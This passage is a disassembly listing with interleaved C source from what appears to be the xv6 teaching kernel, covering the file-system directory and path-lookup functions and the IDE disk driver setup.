and $0x1ff,%eax 80101af1: 29 c1 sub %eax,%ecx memmove(bp->data + off%BSIZE, src, m); 80101af3: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax m = min(n - tot, BSIZE - off%BSIZE); 80101af7: 39 d9 cmp %ebx,%ecx 80101af9: 0f 46 d9 cmovbe %ecx,%ebx memmove(bp->data + off%BSIZE, src, m); 80101afc: 53 push %ebx 80101afd: ff 75 dc pushl -0x24(%ebp) for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b00: 01 de add %ebx,%esi memmove(bp->data + off%BSIZE, src, m); 80101b02: 50 push %eax 80101b03: e8 c8 2a 00 00 call 801045d0 <memmove> log_write(bp); 80101b08: 89 3c 24 mov %edi,(%esp) 80101b0b: e8 60 12 00 00 call 80102d70 <log_write> brelse(bp); 80101b10: 89 3c 24 mov %edi,(%esp) 80101b13: e8 c8 e6 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b18: 01 5d e4 add %ebx,-0x1c(%ebp) 80101b1b: 01 5d dc add %ebx,-0x24(%ebp) 80101b1e: 83 c4 10 add $0x10,%esp 80101b21: 8b 45 e4 mov -0x1c(%ebp),%eax 80101b24: 39 45 e0 cmp %eax,-0x20(%ebp) 80101b27: 77 97 ja 80101ac0 <writei+0x60> } if(n > 0 && off > ip->size){ 80101b29: 8b 45 d8 mov -0x28(%ebp),%eax 80101b2c: 3b 70 58 cmp 0x58(%eax),%esi 80101b2f: 77 37 ja 80101b68 <writei+0x108> ip->size = off; iupdate(ip); } return n; 80101b31: 8b 45 e0 mov -0x20(%ebp),%eax } 80101b34: 8d 65 f4 lea -0xc(%ebp),%esp 80101b37: 5b pop %ebx 80101b38: 5e pop %esi 80101b39: 5f pop %edi 80101b3a: 5d pop %ebp 80101b3b: c3 ret 80101b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80101b40: 0f bf 40 52 movswl 0x52(%eax),%eax 80101b44: 66 83 f8 09 cmp $0x9,%ax 80101b48: 77 36 ja 80101b80 <writei+0x120> 80101b4a: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax 80101b51: 85 c0 test %eax,%eax 80101b53: 74 2b je 80101b80 <writei+0x120> return devsw[ip->major].write(ip, src, n); 80101b55: 89 7d 10 mov %edi,0x10(%ebp) } 80101b58: 8d 65 f4 lea -0xc(%ebp),%esp 80101b5b: 5b pop %ebx 80101b5c: 5e pop %esi 80101b5d: 5f pop %edi 80101b5e: 5d pop %ebp return devsw[ip->major].write(ip, src, n); 80101b5f: ff e0 jmp *%eax 80101b61: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ip->size = off; 80101b68: 8b 45 d8 mov -0x28(%ebp),%eax iupdate(ip); 80101b6b: 83 ec 0c sub $0xc,%esp ip->size = off; 80101b6e: 89 70 58 mov %esi,0x58(%eax) iupdate(ip); 80101b71: 50 push %eax 80101b72: e8 59 fa ff ff call 801015d0 <iupdate> 80101b77: 83 c4 10 add $0x10,%esp 80101b7a: eb b5 jmp 80101b31 <writei+0xd1> 80101b7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80101b80: b8 ff ff ff ff mov $0xffffffff,%eax 80101b85: eb ad jmp 80101b34 <writei+0xd4> 80101b87: 89 f6 mov %esi,%esi 80101b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101b90 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 80101b90: 55 push %ebp 80101b91: 89 e5 mov %esp,%ebp 80101b93: 83 ec 0c sub $0xc,%esp return strncmp(s, t, DIRSIZ); 80101b96: 6a 0e push $0xe 80101b98: ff 75 0c pushl 0xc(%ebp) 80101b9b: ff 75 08 pushl 0x8(%ebp) 80101b9e: e8 9d 2a 00 00 call 80104640 <strncmp> } 80101ba3: c9 leave 80101ba4: c3 ret 80101ba5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101bb0 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80101bb0: 55 push %ebp 80101bb1: 89 e5 mov %esp,%ebp 80101bb3: 57 push %edi 80101bb4: 56 push %esi 80101bb5: 53 push %ebx 80101bb6: 83 ec 1c sub $0x1c,%esp 80101bb9: 8b 5d 08 mov 0x8(%ebp),%ebx uint off, inum; struct dirent de; if(dp->type != T_DIR) 80101bbc: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80101bc1: 0f 85 85 00 00 00 jne 80101c4c <dirlookup+0x9c> panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80101bc7: 8b 53 58 mov 0x58(%ebx),%edx 80101bca: 31 ff xor %edi,%edi 80101bcc: 8d 75 d8 lea -0x28(%ebp),%esi 80101bcf: 85 d2 test %edx,%edx 80101bd1: 74 3e je 80101c11 <dirlookup+0x61> 80101bd3: 90 nop 80101bd4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101bd8: 6a 10 push $0x10 80101bda: 57 push %edi 80101bdb: 56 push %esi 80101bdc: 53 push %ebx 80101bdd: e8 7e fd ff ff call 80101960 <readi> 80101be2: 83 c4 10 add $0x10,%esp 80101be5: 83 f8 10 cmp $0x10,%eax 80101be8: 75 55 jne 80101c3f <dirlookup+0x8f> panic("dirlookup read"); if(de.inum == 0) 80101bea: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101bef: 74 18 je 80101c09 <dirlookup+0x59> return strncmp(s, t, DIRSIZ); 80101bf1: 8d 45 da lea -0x26(%ebp),%eax 80101bf4: 83 ec 04 sub $0x4,%esp 80101bf7: 6a 0e push $0xe 80101bf9: 50 push %eax 80101bfa: ff 75 0c pushl 0xc(%ebp) 80101bfd: e8 3e 2a 00 00 call 80104640 <strncmp> continue; if(namecmp(name, de.name) == 0){ 80101c02: 83 c4 10 add $0x10,%esp 80101c05: 85 c0 test %eax,%eax 80101c07: 74 17 je 80101c20 <dirlookup+0x70> for(off = 0; off < dp->size; off += sizeof(de)){ 80101c09: 83 c7 10 add $0x10,%edi 80101c0c: 3b 7b 58 cmp 0x58(%ebx),%edi 80101c0f: 72 c7 jb 80101bd8 <dirlookup+0x28> return iget(dp->dev, inum); } } return 0; } 80101c11: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80101c14: 31 c0 xor %eax,%eax } 80101c16: 5b pop %ebx 80101c17: 5e pop %esi 80101c18: 5f pop %edi 80101c19: 5d pop %ebp 80101c1a: c3 ret 80101c1b: 90 nop 80101c1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(poff) 80101c20: 8b 45 10 mov 0x10(%ebp),%eax 80101c23: 85 c0 test %eax,%eax 80101c25: 74 05 je 80101c2c <dirlookup+0x7c> *poff = off; 80101c27: 8b 45 10 mov 0x10(%ebp),%eax 80101c2a: 89 38 mov %edi,(%eax) inum = de.inum; 80101c2c: 0f b7 55 d8 movzwl -0x28(%ebp),%edx return iget(dp->dev, inum); 80101c30: 8b 03 mov (%ebx),%eax 80101c32: e8 59 f6 ff ff call 80101290 <iget> } 80101c37: 8d 65 f4 lea -0xc(%ebp),%esp 80101c3a: 5b pop %ebx 80101c3b: 5e pop %esi 80101c3c: 5f pop %edi 80101c3d: 5d pop %ebp 80101c3e: c3 ret panic("dirlookup read"); 80101c3f: 83 ec 0c sub $0xc,%esp 80101c42: 68 59 71 10 80 push $0x80107159 80101c47: e8 44 e7 ff ff call 80100390 <panic> panic("dirlookup not DIR"); 80101c4c: 83 ec 0c sub $0xc,%esp 80101c4f: 68 47 71 10 80 push $0x80107147 80101c54: e8 37 e7 ff ff call 80100390 <panic> 80101c59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101c60 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101c60: 55 push %ebp 80101c61: 89 e5 mov %esp,%ebp 80101c63: 57 push %edi 80101c64: 56 push %esi 80101c65: 53 push %ebx 80101c66: 89 cf mov %ecx,%edi 80101c68: 89 c3 mov %eax,%ebx 80101c6a: 83 ec 1c sub $0x1c,%esp struct inode *ip, *next; if(*path == '/') 80101c6d: 80 38 2f cmpb $0x2f,(%eax) { 80101c70: 89 55 e0 mov %edx,-0x20(%ebp) if(*path == '/') 80101c73: 0f 84 67 01 00 00 je 80101de0 <namex+0x180> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101c79: e8 62 1b 00 00 call 801037e0 <myproc> acquire(&icache.lock); 80101c7e: 83 ec 0c sub $0xc,%esp ip = idup(myproc()->cwd); 80101c81: 8b 70 68 mov 0x68(%eax),%esi acquire(&icache.lock); 80101c84: 68 e0 09 11 80 push $0x801109e0 80101c89: e8 82 27 00 00 call 80104410 <acquire> ip->ref++; 80101c8e: 83 46 08 01 addl $0x1,0x8(%esi) release(&icache.lock); 80101c92: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101c99: e8 32 28 00 00 call 801044d0 <release> 80101c9e: 83 c4 10 add $0x10,%esp 80101ca1: eb 08 jmp 80101cab <namex+0x4b> 80101ca3: 90 nop 80101ca4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi path++; 80101ca8: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101cab: 0f b6 03 movzbl (%ebx),%eax 80101cae: 3c 2f cmp $0x2f,%al 80101cb0: 74 f6 je 80101ca8 <namex+0x48> if(*path == 0) 80101cb2: 84 c0 test %al,%al 80101cb4: 0f 84 ee 00 00 00 je 80101da8 <namex+0x148> while(*path != '/' && *path != 0) 80101cba: 0f b6 03 movzbl (%ebx),%eax 80101cbd: 3c 2f cmp $0x2f,%al 80101cbf: 0f 84 b3 00 00 00 je 80101d78 <namex+0x118> 80101cc5: 84 c0 test %al,%al 80101cc7: 89 da mov %ebx,%edx 80101cc9: 75 09 jne 80101cd4 <namex+0x74> 80101ccb: e9 a8 00 00 00 jmp 80101d78 <namex+0x118> 80101cd0: 84 c0 test %al,%al 80101cd2: 74 0a je 80101cde <namex+0x7e> path++; 80101cd4: 83 c2 01 add $0x1,%edx while(*path != '/' && *path != 0) 80101cd7: 0f b6 02 movzbl (%edx),%eax 80101cda: 3c 2f cmp $0x2f,%al 80101cdc: 75 f2 jne 80101cd0 <namex+0x70> 80101cde: 89 d1 mov %edx,%ecx 80101ce0: 29 d9 sub %ebx,%ecx if(len >= DIRSIZ) 80101ce2: 83 f9 0d cmp $0xd,%ecx 80101ce5: 0f 8e 91 00 00 00 jle 80101d7c <namex+0x11c> memmove(name, s, DIRSIZ); 80101ceb: 83 ec 04 sub $0x4,%esp 80101cee: 89 55 e4 mov %edx,-0x1c(%ebp) 80101cf1: 6a 0e push $0xe 80101cf3: 53 push %ebx 80101cf4: 57 push %edi 80101cf5: e8 d6 28 00 00 call 801045d0 <memmove> path++; 80101cfa: 8b 55 e4 mov -0x1c(%ebp),%edx memmove(name, s, DIRSIZ); 80101cfd: 83 c4 10 add $0x10,%esp path++; 80101d00: 89 d3 mov %edx,%ebx while(*path == '/') 80101d02: 80 3a 2f cmpb $0x2f,(%edx) 80101d05: 75 11 jne 80101d18 <namex+0xb8> 80101d07: 89 f6 mov %esi,%esi 80101d09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi path++; 80101d10: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101d13: 80 3b 2f cmpb $0x2f,(%ebx) 80101d16: 74 f8 je 80101d10 <namex+0xb0> while((path = skipelem(path, name)) != 0){ ilock(ip); 80101d18: 83 ec 0c sub $0xc,%esp 80101d1b: 56 push %esi 80101d1c: e8 5f f9 ff ff call 80101680 <ilock> if(ip->type != T_DIR){ 80101d21: 83 c4 10 add $0x10,%esp 80101d24: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80101d29: 0f 85 91 00 00 00 jne 80101dc0 <namex+0x160> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ 80101d2f: 8b 55 e0 mov -0x20(%ebp),%edx 80101d32: 85 d2 test %edx,%edx 80101d34: 74 09 je 80101d3f <namex+0xdf> 80101d36: 80 3b 00 cmpb $0x0,(%ebx) 80101d39: 0f 84 b7 00 00 00 je 80101df6 <namex+0x196> // Stop one level early. iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ 80101d3f: 83 ec 04 sub $0x4,%esp 80101d42: 6a 00 push $0x0 80101d44: 57 push %edi 80101d45: 56 push %esi 80101d46: e8 65 fe ff ff call 80101bb0 <dirlookup> 80101d4b: 83 c4 10 add $0x10,%esp 80101d4e: 85 c0 test %eax,%eax 80101d50: 74 6e je 80101dc0 <namex+0x160> iunlock(ip); 80101d52: 83 ec 0c sub $0xc,%esp 80101d55: 89 45 e4 mov %eax,-0x1c(%ebp) 80101d58: 56 push %esi 80101d59: e8 02 fa ff ff call 80101760 <iunlock> iput(ip); 80101d5e: 89 34 24 mov %esi,(%esp) 80101d61: e8 4a fa ff ff call 801017b0 <iput> 80101d66: 8b 45 e4 mov -0x1c(%ebp),%eax 80101d69: 83 c4 10 add $0x10,%esp 80101d6c: 89 c6 mov %eax,%esi 80101d6e: e9 38 ff ff ff jmp 80101cab <namex+0x4b> 80101d73: 90 nop 80101d74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(*path != '/' && *path != 0) 80101d78: 89 da mov %ebx,%edx 80101d7a: 31 c9 xor %ecx,%ecx memmove(name, s, len); 80101d7c: 83 ec 04 sub $0x4,%esp 80101d7f: 89 55 dc mov %edx,-0x24(%ebp) 80101d82: 89 4d e4 mov %ecx,-0x1c(%ebp) 80101d85: 51 push %ecx 80101d86: 53 push %ebx 80101d87: 57 push %edi 80101d88: e8 43 28 00 00 call 801045d0 <memmove> name[len] = 0; 80101d8d: 8b 4d e4 mov -0x1c(%ebp),%ecx 80101d90: 8b 55 dc mov -0x24(%ebp),%edx 80101d93: 83 c4 10 add $0x10,%esp 80101d96: c6 04 0f 00 movb $0x0,(%edi,%ecx,1) 80101d9a: 89 d3 mov %edx,%ebx 80101d9c: e9 61 ff ff ff jmp 80101d02 <namex+0xa2> 80101da1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; } iunlockput(ip); ip = next; } if(nameiparent){ 80101da8: 8b 45 e0 mov -0x20(%ebp),%eax 80101dab: 85 c0 test %eax,%eax 80101dad: 75 5d jne 80101e0c <namex+0x1ac> iput(ip); return 0; } return ip; } 80101daf: 8d 65 f4 lea -0xc(%ebp),%esp 80101db2: 89 f0 mov %esi,%eax 80101db4: 5b pop %ebx 80101db5: 5e pop %esi 80101db6: 5f pop %edi 80101db7: 5d pop %ebp 80101db8: c3 ret 80101db9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi iunlock(ip); 80101dc0: 83 ec 0c sub $0xc,%esp 80101dc3: 56 push %esi 80101dc4: e8 97 f9 ff ff call 80101760 <iunlock> iput(ip); 80101dc9: 89 34 24 mov %esi,(%esp) return 0; 80101dcc: 31 f6 xor %esi,%esi iput(ip); 80101dce: e8 dd f9 ff ff call 801017b0 <iput> return 0; 80101dd3: 83 c4 10 add $0x10,%esp } 80101dd6: 8d 65 f4 lea -0xc(%ebp),%esp 80101dd9: 89 f0 mov %esi,%eax 80101ddb: 5b pop %ebx 80101ddc: 5e pop %esi 80101ddd: 5f pop %edi 80101dde: 5d pop %ebp 80101ddf: c3 ret ip = iget(ROOTDEV, ROOTINO); 80101de0: ba 01 00 00 00 mov $0x1,%edx 80101de5: b8 01 00 00 00 mov $0x1,%eax 80101dea: e8 a1 f4 ff ff call 80101290 <iget> 80101def: 89 c6 mov %eax,%esi 80101df1: e9 b5 fe ff ff jmp 80101cab <namex+0x4b> iunlock(ip); 80101df6: 83 ec 0c sub $0xc,%esp 80101df9: 56 push %esi 80101dfa: e8 61 f9 ff ff call 80101760 <iunlock> return ip; 80101dff: 83 c4 10 add $0x10,%esp } 80101e02: 8d 65 f4 lea -0xc(%ebp),%esp 80101e05: 89 f0 mov %esi,%eax 80101e07: 5b pop %ebx 80101e08: 5e pop %esi 80101e09: 5f pop %edi 80101e0a: 5d pop %ebp 80101e0b: c3 ret iput(ip); 80101e0c: 83 ec 0c sub $0xc,%esp 80101e0f: 56 push %esi return 0; 80101e10: 31 f6 xor %esi,%esi iput(ip); 80101e12: e8 99 f9 ff ff call 801017b0 <iput> return 0; 80101e17: 83 c4 10 add $0x10,%esp 80101e1a: eb 93 jmp 80101daf <namex+0x14f> 80101e1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101e20 <dirlink>: { 80101e20: 55 push %ebp 80101e21: 89 e5 mov %esp,%ebp 80101e23: 57 push %edi 80101e24: 56 push %esi 80101e25: 53 push %ebx 80101e26: 83 ec 20 sub $0x20,%esp 80101e29: 8b 5d 08 mov 0x8(%ebp),%ebx if((ip = dirlookup(dp, name, 0)) != 0){ 80101e2c: 6a 00 push $0x0 80101e2e: ff 75 0c pushl 0xc(%ebp) 80101e31: 53 push %ebx 80101e32: e8 79 fd ff ff call 80101bb0 <dirlookup> 80101e37: 83 c4 10 add $0x10,%esp 80101e3a: 85 c0 test %eax,%eax 80101e3c: 75 67 jne 80101ea5 <dirlink+0x85> for(off = 0; off < dp->size; off += sizeof(de)){ 80101e3e: 8b 7b 58 mov 0x58(%ebx),%edi 80101e41: 8d 75 d8 lea -0x28(%ebp),%esi 80101e44: 85 ff test %edi,%edi 80101e46: 74 29 je 80101e71 <dirlink+0x51> 80101e48: 31 ff xor %edi,%edi 80101e4a: 8d 75 d8 lea -0x28(%ebp),%esi 80101e4d: eb 09 jmp 80101e58 <dirlink+0x38> 80101e4f: 90 nop 80101e50: 83 c7 10 add $0x10,%edi 80101e53: 3b 7b 58 cmp 0x58(%ebx),%edi 80101e56: 73 19 jae 80101e71 <dirlink+0x51> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e58: 6a 10 push $0x10 80101e5a: 57 push %edi 80101e5b: 56 push %esi 80101e5c: 53 push %ebx 80101e5d: e8 fe fa ff ff call 80101960 <readi> 80101e62: 83 c4 10 add $0x10,%esp 80101e65: 83 f8 10 cmp $0x10,%eax 80101e68: 75 4e jne 80101eb8 <dirlink+0x98> if(de.inum == 0) 80101e6a: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101e6f: 75 df jne 80101e50 <dirlink+0x30> strncpy(de.name, name, DIRSIZ); 80101e71: 8d 45 da lea -0x26(%ebp),%eax 80101e74: 83 ec 04 sub $0x4,%esp 80101e77: 6a 0e push $0xe 80101e79: ff 75 0c pushl 0xc(%ebp) 80101e7c: 50 push %eax 80101e7d: e8 1e 28 00 00 call 801046a0 <strncpy> de.inum = inum; 80101e82: 8b 45 10 mov 0x10(%ebp),%eax if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e85: 6a 10 push $0x10 80101e87: 57 push %edi 80101e88: 56 push %esi 80101e89: 53 push %ebx de.inum = inum; 80101e8a: 66 89 45 d8 mov %ax,-0x28(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e8e: e8 cd fb ff ff call 80101a60 <writei> 80101e93: 83 c4 20 add $0x20,%esp 80101e96: 83 f8 10 cmp $0x10,%eax 80101e99: 75 2a jne 80101ec5 <dirlink+0xa5> return 0; 80101e9b: 31 c0 xor %eax,%eax } 80101e9d: 8d 65 f4 lea -0xc(%ebp),%esp 80101ea0: 5b pop %ebx 80101ea1: 5e pop %esi 80101ea2: 5f pop %edi 80101ea3: 5d pop %ebp 80101ea4: c3 ret iput(ip); 80101ea5: 83 ec 0c sub $0xc,%esp 80101ea8: 50 push %eax 80101ea9: e8 02 f9 ff ff call 801017b0 <iput> return -1; 80101eae: 83 c4 10 add $0x10,%esp 80101eb1: b8 ff ff ff ff mov $0xffffffff,%eax 80101eb6: eb e5 jmp 80101e9d <dirlink+0x7d> panic("dirlink read"); 80101eb8: 83 ec 0c sub $0xc,%esp 80101ebb: 68 68 71 10 80 push $0x80107168 80101ec0: e8 cb e4 ff ff call 80100390 <panic> panic("dirlink"); 80101ec5: 83 ec 0c sub $0xc,%esp 80101ec8: 68 ca 77 10 80 push $0x801077ca 80101ecd: e8 be e4 ff ff call 80100390 <panic> 80101ed2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101ed9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101ee0 <namei>: struct inode* namei(char *path) { 80101ee0: 55 push %ebp char name[DIRSIZ]; return namex(path, 0, name); 80101ee1: 31 d2 xor %edx,%edx { 80101ee3: 89 e5 mov %esp,%ebp 80101ee5: 83 ec 18 sub $0x18,%esp return namex(path, 0, name); 80101ee8: 8b 45 08 mov 0x8(%ebp),%eax 80101eeb: 8d 4d ea lea -0x16(%ebp),%ecx 80101eee: e8 6d fd ff ff call 80101c60 <namex> } 80101ef3: c9 leave 80101ef4: c3 ret 80101ef5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101ef9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101f00 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80101f00: 55 push %ebp return namex(path, 1, name); 80101f01: ba 01 00 00 00 mov $0x1,%edx { 80101f06: 89 e5 mov %esp,%ebp return namex(path, 1, name); 80101f08: 8b 4d 0c mov 0xc(%ebp),%ecx 80101f0b: 8b 45 08 mov 0x8(%ebp),%eax } 80101f0e: 5d pop %ebp return namex(path, 1, name); 80101f0f: e9 4c fd ff ff jmp 80101c60 <namex> 80101f14: 66 90 xchg %ax,%ax 80101f16: 66 90 xchg %ax,%ax 80101f18: 66 90 xchg %ax,%ax 80101f1a: 66 90 xchg %ax,%ax 80101f1c: 66 90 xchg %ax,%ax 80101f1e: 66 90 xchg %ax,%ax 80101f20 <idestart>: } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80101f20: 55 push %ebp 80101f21: 89 e5 mov %esp,%ebp 80101f23: 57 push %edi 80101f24: 56 push %esi 80101f25: 53 push %ebx 80101f26: 83 ec 0c sub $0xc,%esp if(b == 0) 80101f29: 85 c0 test %eax,%eax 80101f2b: 0f 84 b4 00 00 00 je 80101fe5 <idestart+0xc5> panic("idestart"); if(b->blockno >= FSSIZE) 80101f31: 8b 58 08 mov 0x8(%eax),%ebx 80101f34: 89 c6 mov %eax,%esi 80101f36: 81 fb e7 03 00 00 cmp $0x3e7,%ebx 80101f3c: 0f 87 96 00 00 00 ja 80101fd8 <idestart+0xb8> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80101f42: b9 f7 01 00 00 mov $0x1f7,%ecx 80101f47: 89 f6 mov %esi,%esi 80101f49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101f50: 89 ca mov %ecx,%edx 80101f52: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80101f53: 83 e0 c0 and $0xffffffc0,%eax 80101f56: 3c 40 cmp $0x40,%al 80101f58: 75 f6 jne 80101f50 <idestart+0x30> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80101f5a: 31 ff xor %edi,%edi 80101f5c: ba f6 03 00 00 mov $0x3f6,%edx 80101f61: 89 f8 mov %edi,%eax 80101f63: ee out %al,(%dx) 80101f64: b8 01 00 00 00 mov $0x1,%eax 80101f69: ba f2 01 00 00 mov $0x1f2,%edx 80101f6e: ee out %al,(%dx) 80101f6f: ba f3 01 00 00 mov $0x1f3,%edx 80101f74: 89 d8 mov %ebx,%eax 80101f76: ee out %al,(%dx) idewait(0); outb(0x3f6, 0); // generate interrupt outb(0x1f2, sector_per_block); // number of sectors outb(0x1f3, sector & 0xff); outb(0x1f4, (sector >> 8) & 0xff); 80101f77: 89 d8 mov %ebx,%eax 80101f79: ba f4 01 00 00 mov $0x1f4,%edx 80101f7e: c1 f8 08 sar $0x8,%eax 80101f81: ee out %al,(%dx) 80101f82: ba f5 01 00 00 mov $0x1f5,%edx 80101f87: 89 f8 mov %edi,%eax 80101f89: ee out %al,(%dx) outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); 80101f8a: 0f b6 46 04 movzbl 0x4(%esi),%eax 80101f8e: ba f6 01 00 00 mov $0x1f6,%edx 80101f93: c1 e0 04 shl $0x4,%eax 80101f96: 83 e0 10 and $0x10,%eax 80101f99: 83 c8 e0 or $0xffffffe0,%eax 80101f9c: ee out %al,(%dx) if(b->flags & B_DIRTY){ 80101f9d: f6 06 04 testb $0x4,(%esi) 80101fa0: 75 16 jne 80101fb8 <idestart+0x98> 80101fa2: b8 20 00 00 00 mov $0x20,%eax 80101fa7: 89 ca mov %ecx,%edx 80101fa9: ee out %al,(%dx) outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); } else { outb(0x1f7, read_cmd); } } 80101faa: 8d 65 f4 lea -0xc(%ebp),%esp 80101fad: 5b pop %ebx 80101fae: 5e pop %esi 80101faf: 5f pop %edi 80101fb0: 5d pop %ebp 80101fb1: c3 ret 80101fb2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101fb8: b8 30 00 00 00 mov $0x30,%eax 80101fbd: 89 ca mov %ecx,%edx 80101fbf: ee out %al,(%dx) asm volatile("cld; rep outsl" : 80101fc0: b9 80 00 00 00 mov $0x80,%ecx outsl(0x1f0, b->data, BSIZE/4); 80101fc5: 83 c6 5c add $0x5c,%esi 80101fc8: ba f0 01 00 00 mov $0x1f0,%edx 80101fcd: fc cld 80101fce: f3 6f rep outsl %ds:(%esi),(%dx) } 80101fd0: 8d 65 f4 lea -0xc(%ebp),%esp 80101fd3: 5b pop %ebx 80101fd4: 5e pop %esi 80101fd5: 5f pop %edi 80101fd6: 5d pop %ebp 80101fd7: c3 ret panic("incorrect blockno"); 80101fd8: 83 ec 0c sub $0xc,%esp 80101fdb: 68 d4 71 10 80 push $0x801071d4 80101fe0: e8 ab e3 ff ff call 80100390 <panic> panic("idestart"); 80101fe5: 83 ec 0c sub $0xc,%esp 80101fe8: 68 cb 71 10 80 push $0x801071cb 80101fed: e8 9e e3 ff ff call 80100390 <panic> 80101ff2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101ff9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102000 <ideinit>: { 80102000: 55 push %ebp 80102001: 89 e5 mov %esp,%ebp 80102003: 83 ec 10 sub $0x10,%esp initlock(&idelock, "ide"); 80102006: 68 e6 71 10 80 push $0x801071e6 8010200b: 68 80 a5 10 80 push $0x8010a580 80102010: e8 bb 22 00 00 call 801042d0 <initlock> ioapicenable(IRQ_IDE, ncpu - 1); 80102015: 58 pop %eax 80102016: a1 00 2d 11 80 mov 0x80112d00,%eax 8010201b: 5a pop %edx 8010201c: 83 e8 01 sub $0x1,%eax 8010201f: 50 push %eax 80102020: 6a 0e push $0xe 80102022: e8 a9 02 00 00 call 801022d0 <ioapicenable> 80102027: 83 c4 10 add $0x10,%esp asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010202a: ba f7 01 00 00 mov $0x1f7,%edx 8010202f: 90 nop 80102030: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102031: 83 e0 c0 and $0xffffffc0,%eax 80102034: 3c 40 cmp $0x40,%al 80102036: 75 f8 jne 80102030 <ideinit+0x30> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102038: b8 f0 ff ff ff mov $0xfffffff0,%eax 8010203d: ba f6 01 00 00 mov $0x1f6,%edx 80102042: ee out %al,(%dx) 80102043: b9 e8 03 00 00 mov $0x3e8,%ecx asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102048: ba f7 01 00 00 mov $0x1f7,%edx 8010204d: eb 06 jmp 80102055 <ideinit+0x55> 8010204f: 90 nop for(i=0; i<1000; i++){ 80102050: 83 e9 01 sub $0x1,%ecx 80102053: 74 0f je 80102064 <ideinit+0x64> 80102055: ec in (%dx),%al if(inb(0x1f7) != 0){ 80102056: 84 c0 test %al,%al 80102058: 74 f6 je 80102050 <ideinit+0x50> havedisk1 = 1; 8010205a: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560 80102061: 00 00 00 asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102064: b8 e0 ff ff ff mov $0xffffffe0,%eax 80102069: ba f6 01 00 00 mov $0x1f6,%edx 8010206e: ee out %al,(%dx) } 8010206f: c9 leave 80102070: c3 ret 80102071: eb 0d jmp 80102080 <ideintr> 80102073: 90 nop 80102074: 90 nop 80102075: 90 nop 80102076: 90 nop 80102077: 90 nop 80102078: 90 nop 80102079: 90 nop 8010207a: 90 nop 8010207b: 90 nop 8010207c: 90 nop 8010207d: 90 nop 8010207e: 90 nop 8010207f: 90 nop 80102080 <ideintr>: // Interrupt handler. void ideintr(void) { 80102080: 55 push %ebp 80102081: 89 e5 mov %esp,%ebp 80102083: 57 push %edi 80102084: 56 push %esi 80102085: 53 push %ebx 80102086: 83 ec 18 sub $0x18,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 80102089: 68 80 a5 